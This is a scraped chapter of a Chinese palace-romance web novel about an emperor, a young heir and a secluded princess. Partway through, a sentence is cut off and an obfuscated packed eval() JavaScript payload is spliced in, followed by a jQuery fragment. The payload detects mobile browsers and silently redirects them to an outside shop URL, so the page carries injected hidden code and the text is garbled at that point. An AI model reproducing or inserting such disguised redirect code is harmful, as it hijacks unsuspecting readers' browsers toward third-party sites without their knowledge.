姜定看人一向精准,宁晏昭知道自己的心思瞒不住,于是跪在地上,双手抱拳,请求道:“是。近日天气不错,晏昭想带小公主出宫游玩。”
“小公主?”
姜定的表情浮现出一丝困惑,他沉思片刻,还是想不明白宁晏昭所指的小公主是谁。
“朕何时有过公主了?”
姜定话音刚落,跪在地上的宁晏昭眼底瞬间划过一丝错愕。
他抬眸看着姜定,姜定的神色明显带着几分困惑,似乎真的不知道姜毓凝的存在。
侍立在一旁的张公公怔愣一瞬后,小声提醒姜定,“陛下,世子说的小公主应该是您与昭国同昌公主的女儿。”
听到张公公的提醒后,姜定终于想起了一些。他迅速收敛起疑惑的神情,平静的说看向宁晏昭。
“朕最近有些心神不宁,记忆差了些。既然晏昭想带小公主出宫游玩,便去吧。”
宁晏昭闻言,英俊的面容上瞬间浮现出一抹笑容,刚才的疑惑也转瞬即逝。
他微微颔首,向姜定道谢:“多谢陛下。”
宁晏昭与姜定聊了半个时辰,便离开了宣室殿。
宁晏昭走后,姜定朝侍立在一侧的张公公招了招手。“过来,朕有事问你。”
张公公立即上前几步,站在了姜定面前,态度恭敬。“陛下请说,奴才一定如实回答。”
姜定沉思片刻,而后不明情绪的询问道:“朕记得晏昭与小公主从未见过,为何今日,晏昭突然要带小公主出宫游玩?”
张公公闻言,原本担忧的神色瞬间缓和,笑着回答道:“奴才听说前几日的游春宴上,小公主不慎落水,是宁世子救了小公主。”
“想来定是因此缘故,世子今日才会向陛下请求,带小公主出宫游玩。”
姜定听到张公公的回答后,姜定并没有说什么。
宣室殿的窗户紧关着,虽是晴天,但光线依然昏暗。姜定的神色隐于阴影中,看不出喜怒?
良久,姜定才语气低沉的开口询问,“小公主为何会出现在游春宴上?”
张公公面露难色,在心中衡量一番后,垂下眼眸,终是道了句,“奴才不知。”
姜定闻言,冷笑一声,周身的气息瞬间阴冷了几分。“德安,你跟了朕这么多年,如今竟也学会欺瞒朕了。”
姜定话音刚落,张公公瞬间跪倒在地。“奴才不敢,奴才并非有意欺瞒陛下的,只是……”
张公公话到嘴边,又咽了回去。
姜定此时明显对小公主去游春宴一事已经起了疑心,若是他直接告诉姜定是皇后让小公主去游春宴的,帝后之间一定会生出嫌隙。
这样进退两难的问题,无论他说与不说,都格外艰难。
姜定似乎猜到了张公公内心的忧虑,他看着跪在地上的张公公,平静地道了句,“起来吧。”
张公公闻言,立即向姜定道谢,而后才从地上起身,垂着头站在姜定身侧。
姜定凝视着香炉上空袅袅升起的青烟,不明情绪的说道:“即使你不说,朕也知道,定是皇后让小公主去游春宴的。”
姜定摩挲着手指上的白玉扳指,询问道:“推小公主落水的是什么人?”
“是侍郎柳正的女儿柳莹,太子殿下那日已经惩罚过她了,陛下不用忧心。”
张公公忽然想到了什么,犹豫了片刻,才谨慎的开口道:“但奴才听游春宴服侍的侍女们闲聊时说,柳莹推小公主落水是受连太尉的独女连清涵指使的。”
姜定闻言,眼中瞬间闪过一丝寒意。张公公察觉到姜定神色的变化,立即噤声,生怕打出一点声音。
沉默良久,姜定方才幽幽的开口道:“朕与连太尉许久未见,也是时候见见他了。”
***
宁晏昭从宣室殿出来时,笑容格外灿烂。
惊云看着神色欣喜的宁晏昭,疑惑道:“是什么好事,世子竟笑得这般开怀?”
宁晏昭继续向朝华宫的方向走去,一边对惊云说道:“陛下同意我带公主出宫游玩了。”
“什么?!”
惊云瞬间停下了脚步,目瞪口呆的站在原地。
宁晏昭看到惊云突然停下,催促道:“别发呆了,快走。”
“哦,好。”惊云应了一声后,迅速跟上宁晏昭的步伐,但他却小声嘀咕道:“陛下什么时候变得这么好说话了?”
惊云的声音很小,但宁晏昭还是听到了,他好心提醒道:“惊云,别乱说话。”
惊云闻言,立即噤声。“是。”
***
宁晏昭到达朝华宫后,屈指轻轻敲了敲朝华宫的宫门。“公主殿下,臣宁晏昭求见。”
朝华宫的宫门很快打开,但开门的人并不是姜毓凝。
宁晏昭看到一袭白衣的姜璟清后,神色迟疑了一瞬。但他很快反应过来,朝姜璟清微微颔首,轻声道了句,“二皇子殿下。”
姜璟清闻言,也向宁晏昭颔首示意,“宁世子。”
两人简单称呼过后,宁晏昭看了看朝华宫的院子。但院中并没有姜毓凝的身影。
姜璟清看着宁晏昭的举动,心中已经了然。他的眼底划过几分失落,但语气却格外平静。
“宁世子是来找阿凝吧?阿凝还在殿中休息。”
“是。”宁晏昭并没有否认,“臣今日请示了陛下带公主出宫游玩,陛下已经同意了。”
宁晏昭说完,又怕姜璟清担心,又立即补充道:“此事臣与公主曾有过约定,殿下不必担心公主的安危,臣一定会保证公主平安无事。”
宁晏昭的神色极其慎重,似乎真的很在意阿凝。
姜璟清的心绪又因此暗淡了几息,他比任何人都希望姜毓凝平安无虞,只可惜他并没有能够守护姜毓凝的能力。
姜璟清迅速收敛起杂乱的思绪,浅淡一笑。“此事前几日阿凝和我提过,我知道的。”
“阿凝被困在深宫之中许久,一直很向往宫外的世界。明日便有劳宁世子了。”
姜璟清说话时微微颔首,分外真诚,甚至有一种不符合身份的谨小慎微。
宁晏昭看着与自己仅相差几个月的姜璟清,心中竟生出些许不忍。本是金尊玉贵的皇子,如今的言行却这般谨慎。
若是没有十年前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496198|202513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的那场宫变,也许他不会变成这样。
宁晏昭眉眼微蹙,温声道:“殿下身份尊贵,不必因此事感谢臣。臣与殿下,与公主是血脉至亲,殿下日后若是有需要之处,臣定会帮助。”
姜璟清闻言,只是很浅淡的笑了笑,“我并无需要之处,唯一心愿只有阿凝一人。”
宁晏昭轻轻点了点头,“好,臣知道了。明日巳时,臣会来朝华宫接公主出宫。”
姜璟清极轻地道了声,“好。”
宁晏昭向姜璟清颔首示意后,便离开了朝华宫外。
姜璟清看着宁晏昭渐行渐远的声音,目光渐渐黯然。他轻轻朝华宫的宫门,转身向院中走去。
院中的梨花树上的梨花又长出了几簇,枝头的梨花纯白无暇。一阵清风拂过,几朵梨花缓缓飘落在地。
如今正值暮春时节,正是繁花盛开之时。万紫千红开遍,应是无人记得这株梨花。
姜璟清垂下眼眸,极轻地叹息一声,随后步伐很轻的向大殿走去。
***
姜毓凝此时仍在熟睡,但她颦眉微簇,似乎睡的并不安稳。
姜璟清脚步很轻的行至床塌前,坐在了床榻边缘。他伸出修长的手指,小心翼翼地替姜毓凝掖好被角。
但姜毓凝还是被姜璟清的细微动作惊醒了。她缓缓睁开惺忪的睡眼,看向坐在床榻边,眉眼温和的姜璟清。
“皇兄……”
姜璟清闻声,清澈的眼眸中划过一丝歉疚。“是皇兄吵醒你了。”
姜毓凝轻轻摇了摇头,“没有,阿凝睡了许久,也该醒来了。”
姜毓凝话音刚落,从床榻上直起身,坐在床榻上。姜毓凝身上的被褥因为她的动作,向下滑落了一小段距离,露出了身上穿着的白色寝衣。
如今天气渐热,姜毓凝的脸颊上带着薄薄的绯红,更衬得她肌肤白皙胜雪。
一缕乌黑的长发垂在身前,与白色寝衣相映,越发显得她身影纤细,柔弱无骨。
姜璟清瞬间移开视线,心跳却杂乱了几瞬。
“阿凝,盖好被子。”
姜璟清的声音带着几分暗哑,但姜毓凝刚睡醒,心神恍惚,并没有发现。
姜毓凝低地地应了声“好”,而后将被子拉得高了些。
一阵清风吹进殿内,吹散了殿内温热的气氛,也让姜璟清的心绪清醒了几分。
他定了定心神,平静地对姜毓凝说道:“宁晏昭刚才来过了,他说已经请示了陛下,明日巳时会来朝华宫,带你出宫游玩。”
姜毓凝闻言,眼眸微微垂下,良久才道了句,“知道了。”
姜毓凝的声音并无即将出宫的喜悦,反而带着几分幽怨。
姜璟清微微侧头,看了姜毓凝一眼,她似乎并不开心。姜璟清眉眼微皱,却不知如何该说什么才好。
沉默片刻后,姜璟清才缓缓开口道:“睡了这么久一定饿了吧?皇兄去给你准备些膳食。”
姜璟清话音刚落,便从床榻边起身,向殿外走去。
姜毓凝望着姜璟清离去的身影,又看向窗外的梨花树。她微微垂眸,极轻地叹息了一声。